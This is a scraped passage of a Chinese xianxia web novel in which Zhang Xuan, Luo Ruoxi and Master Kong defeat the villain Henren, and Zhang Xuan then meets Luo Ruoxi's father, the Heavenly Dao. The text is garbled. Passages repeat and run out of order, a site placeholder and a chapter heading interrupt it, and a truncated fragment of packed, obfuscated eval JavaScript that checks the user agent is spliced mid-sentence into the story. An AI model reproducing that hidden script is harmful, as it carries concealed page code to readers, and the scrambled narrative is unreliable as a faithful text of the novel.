“他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第175章 没人能欺负你,包括我 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” 